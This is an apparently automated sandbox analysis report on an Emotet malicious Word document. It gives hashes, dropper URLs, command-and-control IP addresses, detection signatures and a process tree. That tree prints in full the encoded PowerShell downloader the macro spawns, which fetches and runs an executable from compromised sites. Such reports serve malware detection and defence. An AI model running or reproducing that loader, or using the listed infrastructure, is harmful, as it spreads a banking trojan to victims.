Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    67s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    22/09/2020, 11:38

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_a271ffa8ac8adb725b29e4e2c0d3966eb90ab9c003fb15db6787b0bfc9d0c2d3_2020-09-22__113628244101._doc.doc
  • Size 151KB
  • Sample200922-e96vraz6qs
  • SHA256 a271ffa8ac8adb725b29e4e2c0d3966eb90ab9c003fb15db6787b0bfc9d0c2d3
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://priyamcollection.com/cab/f/
  • exe.dropper

    http://querofornecedores.com/wp-includes/images/D/
  • exe.dropper

    https://hulianwang114.com/attachment/c/
  • exe.dropper

    http://ixirhost.xyz/wp-content/z/
  • exe.dropper

    https://weneedyourhelpnow.org/wp-content/LJ/
  • exe.dropper

    https://averyair.com/wp-content/J/
  • exe.dropper

    https://drippglobal.com/wp-content/rV/

Extracted

Family

  • emotet

C2

  • 76.168.54.203:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 5.196.35.138:7080

  • 177.129.17.170:443

  • 87.106.46.107:8080

  • 68.183.190.199:8080

  • 185.183.16.47:80

  • 186.103.141.250:443

  • 64.201.88.132:80

  • 70.32.84.74:8080

  • 68.69.155.181:80

  • 82.76.111.249:443

  • 111.67.12.221:8080

  • 60.93.23.51:80

  • 104.131.41.185:8080

  • 92.24.50.153:80

  • 191.182.6.118:80

  • 61.197.92.216:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a271ffa8ac8adb725b29e4e2c0d3966eb90ab9c003fb15db6787b0bfc9d0c2d3_2020-09-22__113628244101._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1156
  • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
    POWeRsHeLL -ENCOD JABaADEAaQBjAGMANQBwAD0AKAAoACcATQBjAF8AJwArACcANQBrACcAKQArACcAegAnACsAJwBlACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAHIATwBmAGkAbABFAFwAYwBlAGQAMwA1ADMAQwBcAFYAUAB2AGUASQBMAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAcgBJAHQAWQBgAFAAYABSAE8AYABUAGAAbwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACcAMQAyACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAKAAnAGwAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAAnACsAJwB0ACcAKQArACcAbABzACcAKQA7ACQAUgA1ADgAZAByADEAdAAgAD0AIAAoACcAUAAnACsAKAAnADEAbQB2ACcAKwAnAGoAJwApACsAJwA1AHoAJwApADsAJABJADEAeAA2AG0AbgBxAD0AKAAoACcARgAnACsAJwB4AGQAMwBzAHIAJwApACsAJwBnACcAKQA7ACQAUwBvAGQAcgBqADgAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBDAGUAJwArACcAZAAzACcAKwAnADUAMwBjAHsAMAB9AFYAcAB2AGUAaQAnACsAJwBsAHcAJwArACcAewAwACcAKwAnAH0AJwApAC0ARgBbAGMAaABBAHIAXQA5ADIAKQArACQAUgA1ADgAZAByADEAdAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAUwBfAGoAMgA0AGoAZAA9ACgAKAAnAEgAZgB0AHMAJwArACcAMAAnACkAKwAnAGEAYQAnACkAOwAkAFEAdwBoADkAcQBmAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBlAEIAQwBsAEkARQBOAFQAOwAkAEEAXwAyAHkAeABoADMAPQAoACcAaAB0ACcAKwAoACcAdAAnACsAJwBwACcAKwAnADoALwAvAHAAcgBpACcAKQArACgAJwB5AGEAbQBjAG8AJwArACcAbAAnACkAKwAnAGwAJwArACgAJwBlAGMAdABpAG8AJwArACcAbgAuAGMAbwBtAC8AYwBhACcAKwAnAGIAJwArACcALwBmACcAKwAnAC8AKgBoAHQAdABwADoALwAvACcAKwAnAHEAdQBlAHIAbwBmAG8AcgBuAGUAYwBlACcAKwAnAGQAJwArACcAbwByAGUAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAnACsAJwAtAGkAbgBjAGwAdQBkAGUAJwArACcAcwAvAGkAbQBhAGcAZQAnACsAJwBzAC8ARAAvACcAKQArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwB1ACcAKwAnAGwAaQBhAG4AJwArACcAdwAnACkAKwAoACcAYQAnACsAJwBuAGcAMQAnACkAKwAoACcAMQA0AC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYQB0AHQAJwArACcAYQAnACkAKwAnAGMAaAAnACsAKAAnAG0AJwArACcAZQBuACcAKQArACgAJwB0ACcAKwAnAC8AYwAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AaQB4ACcAKQArACgAJwBpAHIAJwArACcAaABvACcAKwAnAHMAdAAuAHgAeQB6AC8AJwArACcAdwBwACcAKwAnAC0AYwBvACcAKQArACcAbgB0ACcAKwAoACcAZQBuACcAKwAnAHQAJwApACsAJwAvACcAKwAnAHoAJwArACcALwAqACcAKwAoACcAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAvAHcAZQBuACcAKQArACgAJwBlACcAKwAnAGUAZAAnACkAKwAoACcAeQAnACsAJwBvAHUAcgAnACsAJwBoAGUAbABwAG4AJwArACcAbwB3AC4AbwByAGcALwB3AHAAJwArACcALQAnACsAJwBjAG8AJwArACcAbgB0AGUAbgAnACkAKwAoACcAdAAvACcAKwAnAEwASgAnACsAJwAvACoAaAB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGEAdgAnACsAKAAnAGUAcgB5AGEAaQAnACsAJwByAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AYwBvAG4AJwArACcAdABlACcAKQArACgAJwBuAHQALwAnACsAJwBKAC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAJwArACcAcwA6ACcAKwAnAC8ALwAnACsAJwBkACcAKwAoACcAcgAnACsAJwBpAHAAJwApACsAKAAnAHAAZwBsAG8AYgAnACsAJwBhACcAKQArACgAJwBsAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAdwBwACcAKwAnAC0AYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AcgBWACcAKwAnAC8AJwApACkALgAiAHMAcABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQBrADIAbgBnAHYAMwA9ACgAKAAnAFEAdwAnACsAJwB3AHgAJwApACsAKAAnAHYAbQAnACsAJwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABlAF8AcQAxAG0AdwAgAGkAbgAgACQAQQBfADIAeQB4AGgAMwApAHsAdAByAHkAewAkAFEAdwBoADkAcQBmAGsALgAiAGQAbwB3AG4AbABPAGAAQQBgAEQARgBJAEwARQAiACgAJABEAGUAXwBxADEAbQB3ACwAIAAkAFMAbwBkAHIAagA4AHMAKQA7ACQATgBjADgAagB2ADkAZgA9ACgAJwBQACcAKwAoACcAcwB1ACcAKwAnAGcAJwApACsAKAAnADYAOQAnACsAJwBwACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAFMAbwBkAHIAagA4AHMAKQAuACIAbABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADMANgA3ADIAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQAUwBvAGQAcgBqADgAcwApADsAJABZADIAaAAxADUAZQBlAD0AKAAnAEQAJwArACgAJwBlAGcAeAAnACsAJwBxACcAKQArACcAdQAwACcAKQA7AGIAcgBlAGEAawA7ACQASwAwADgAZQAzAHYAZAA9ACgAKAAnAFMAMgAnACsAJwB6ACcAKQArACcAYQB3ACcAKwAnAGsAegAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAYQB5AHYAMQBwADEAPQAoACcAVQAnACsAKAAnAGIAJwArACcAcAA1ADAAbwAnACsAJwBnACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Users\Admin\Ced353c\Vpveilw\P1mvj5z.exe
      "C:\Users\Admin\Ced353c\Vpveilw\P1mvj5z.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1540
      • C:\Windows\SysWOW64\mspbde40\wkscli.exe
        "C:\Windows\SysWOW64\mspbde40\wkscli.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:976

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/976-20-0x0000000000350000-0x0000000000360000-memory.dmp
        Download

        memory/976-19-0x0000000000330000-0x0000000000342000-memory.dmp
        Download

        memory/1156-4-0x0000000006E60000-0x0000000007060000-memory.dmp
        Download

        memory/1156-2-0x0000000008AE0000-0x0000000008AE4000-memory.dmp
        Download

        memory/1380-21-0x000007FEF4C20000-0x000007FEF4E9A000-memory.dmp
        Download

        memory/1540-15-0x0000000000260000-0x0000000000270000-memory.dmp
        Download

        memory/1540-14-0x0000000000240000-0x0000000000252000-memory.dmp
        Download

        memory/1844-7-0x000000001AA40000-0x000000001AA41000-memory.dmp
        Download

        memory/1844-11-0x000000001B900000-0x000000001B901000-memory.dmp
        Download

        memory/1844-10-0x000000001B4B0000-0x000000001B4B1000-memory.dmp
        Download

        memory/1844-9-0x00000000020E0000-0x00000000020E1000-memory.dmp
        Download

        memory/1844-8-0x0000000002450000-0x0000000002451000-memory.dmp
        Download

        memory/1844-6-0x00000000020A0000-0x00000000020A1000-memory.dmp
        Download

        memory/1844-5-0x000007FEF1320000-0x000007FEF1D0C000-memory.dmp
        Download